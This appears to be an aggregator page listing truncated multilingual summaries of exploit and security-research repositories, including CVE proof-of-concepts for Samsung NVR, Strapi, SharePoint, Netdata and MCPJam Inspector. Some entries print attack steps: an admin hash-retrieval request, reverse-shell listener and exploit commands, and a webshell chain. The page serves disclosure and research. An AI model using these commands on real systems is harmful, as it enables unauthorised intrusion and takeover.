CVE-2022-42176

PCSecure V5.0.8.xw - Использование жестко заданных учетных данных в файлах конфигурации приводит к доступу к панели администратора Краткое описание Поставщик: PCTechSoft SAS Продукт: PCSecure Затронутые версии: 5.0.8.xw Кодовое имя: PapiQuieroPollo00 Уязвимость Тип: Использование жестко заданных...

DCVD

root@kitploit: project/ ├── train.py ├── dataloader.py ├── README.md ├── requirements.txt ├── models/ │ ├── controlpathway.py │ ├── semanticpathway.py │ ├── featurefusionmodule.py │ ├── transformerllmmodule.py │ └── multitaskpredictor.py 数据与模型来源 数据集 我们使用 LineVul 数据集进行漏洞检测： Michael Fu 和 Chakkrit...

VulTriage

一种基于大语言模型和静态代码分析的智能漏洞检测框架，支持多数据集评估和消融研究。 📋 目录 介绍 主要特性 系统要求 快速开始 使用方法 数据集与模型 常见问题 介绍 本项目是一个基于GPT-4o和BGE-M3模型的智能漏洞检测框架，结合了： 静态结构分析 ：控制流图（CFG）、数据流图（DFG）、抽象语法树（AST） 检索增强生成（RAG） ：基于CWE知识库的漏洞模式匹配 代码理解 ：使用大语言模型进行语义分析 成对/单样本检测 ：支持多种评估模式 主要特性 ✅ 支持PrimeVul和Kotlin数据集 ✅ 集成CWE漏洞知识库检索 ✅ 可配置消融研究 ✅ 实时指标追踪 ✅...

BurpWpsScan

Entwicklung unterstützen Wenn dieses Projekt Ihre Arbeit unterstützt, tragen Sie zur laufenden Wartung und zu neuen Funktionen bei. ETH-Spenden-Wallet 0x11282eE5726B3370c8B480e321b3B2aA13686582 Scannen Sie den QR-Code oder kopieren Sie die Wallet-Adresse oben. BurpWpsScan Eine Burp...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 : Exécution de code à distance ⚠️ Avertissement Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Les informations et le code fournis ici peuvent être utilisés dans des environnements contrôlés , comme des machines de laboratoire privées...

CVE-2017-14262

SamsungNVRvul CVE-2017-14262 xfuturesec Co., Ltd D'abord, obtenez le mot de passe hashé MD5 du compte 'admin'. Envoyez : GET http://192.168.1.14/cgi-bin/main-cgi?json="cmd":201,"szUserNameQry":"admin","szUserName":"","u32UserLoginHandle":0 HTTP/1.1 Host: 192.168.1.14 User-Agent: Mozilla/5.0 Windo...

CVE-2019-19609

CVE-2019-19609 Strapi 远程代码执行 使用方法 python3 exploit.py rhost jwt url lhost 利用POC https://bittherapy.net/post/strapi-framework-remote-code-execution/...

DotNetHookerToolkit

InjectorCli + ManagedHookHostProj Dieses Repository enthält zwei Projekte, die dazu entwickelt wurden, gemeinsam genutzt zu werden: InjectorCli: Ein .NET Framework 4.8 Konsolen-Injektor basierend auf frida-clr Frida.dll ManagedHookHostProj: Eine .NET Framework 4.8 Hilfs-DLL mit nativen Exports vi...

CVE-2025-29927-POC

CVE-2025-29927-POC Introduzione Questo repository contiene un Proof of Concept PoC per CVE-2025-29927, una vulnerabilità ipotetica che dimostra un difetto nella gestione del middleware all'interno di un'applicazione web. Il PoC illustra come una richiesta HTTP appositamente modificata possa...

telegram-phish-simulator

⚠️ Telegram-Phishing-Simulator – Sicherheitstool für Bildungszwecke VERWENDEN SIE DIESEN CODE NICHT FÜR ILLEGALE AKTIVITÄTEN. Dieses Repository ist eine Simulation, die ausschließlich für Schulungen zur Cybersicherheit, Sensibilisierung und autorisierte Tests in Laborumgebungen erstellt wurde. 📚...

huntr-com-bug-bounties-collector

Raccolta dei bug di huntr.com Nuovo raccoglitore di bug bounty vulnerabilità Requisiti Chrome con interfaccia grafica Se incontri problemi durante l'esecuzione dello script, controlla lo stato delle funzionalità GPU della VM, se disponibili. Chrome WebDriver Anteprima root@kitploit: python3 main....

huntr-com-bug-bounties-collector

huntr.com bugs collector New bug bountyvulnerabilities collector Requirements Chrome with GUI If you encounter trouble with script execution, check the status of VMs GPU features, if available. Chrome WebDriver Preview root@kitploit: python3 main.py 2024-02-20 16:14:47.836189 1. Arbitrary File...

LGPwn

LGPwn LG-Root-Exploit Autor: [email protected] Besonderer Dank: Juggie, für den Hinweis auf eine ungewöhnliche Binärdatei in einem Update spritebud, die mich zu dieser Sicherheitslücke geführt hat. Thema: Race Condition in der Backup-Software von Sprite Software, die vom OEM auf...

Toolshell_CVE-2025-53770

ToolShell → PoC d'exploitation pour CVE‑2025‑53770 Ce package permet : 1. Téléverser une webshell sur SharePoint 2. Extraire la ValidationKey 3. Générer un ViewState signé 4. RCE via un reverse shell ou un bind shell 🔧 Installation root@kitploit: git clone cd toolshell-exploit pip3 install -r...

vulns-2026-fatfs-chance

ELM FatFs Vulnerability Research Dieses Repository dokumentiert sechs bestätigte Sicherheitslücken in FatFs zusammen mit einer Test-Harness, einem Fuzzer und einem eigenständigen Generator für Exploit-Disk-Images. Der ursprüngliche FatFs-Quellcode befindet sich im Verzeichnis FatFs-R0.16. Dieses...

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

🚨 CVE-2024-32019 - Netdata ndsudo PATH-Schwachstellen-Exploit LPE zu Root Ein Python-basierter Exploit für CVE-2024-32019 , eine Local Privilege Escalation-Schwachstelle mit hohem Schweregrad im Netdata Agent , die eine falsch konfigurierte SUID-Binärdatei ndsudo ausnutzt, die die Umgebungsvariab...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

auf kali linux - terminal 1 nc -lvnp 4444 auf kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2010-1872-BlazeDVD-SEH-Exploit

BlazeDVD 5.0 - '.PLF'-Playlist-SEH-Pufferüberlauf-Exploit CVE-2010-1872 Proof-of-Concept-Exploit PoC, der eine Pufferüberlauf-Schwachstelle in BlazeDVD Version 5.0 über eine präparierte .plf-Playlist-Datei ausnutzt. Der Exploit verwendet SEH Structured Exception Handler Overwrite , um...

kernel-sanitizers

Linux Kernel Sanitizers Hinweis: Die meisten Sanitizer werden im Linux-Kernel-Repository gepflegt und hier nicht gehostet. Dieses Repository enthält Out-of-Tree-Informationen und Prototypen für KASAN, UBSAN, KCSAN, KFENCE, KMSAN und KTSAN. Beachten Sie, dass der KMSAN-Code separat gehostet wird...

emby_ssrf

msfemby Esta ferramenta verificará um servidor EMBY remoto para tentar usar uma vulnerabilidade de SSRF para realizar uma varredura http da rede interna ao servidor EMBY. Isso é baseado na vulnerabilidade CVE-2020-26948. Instalação Clone o repositório e coloque os arquivos rb no diretório...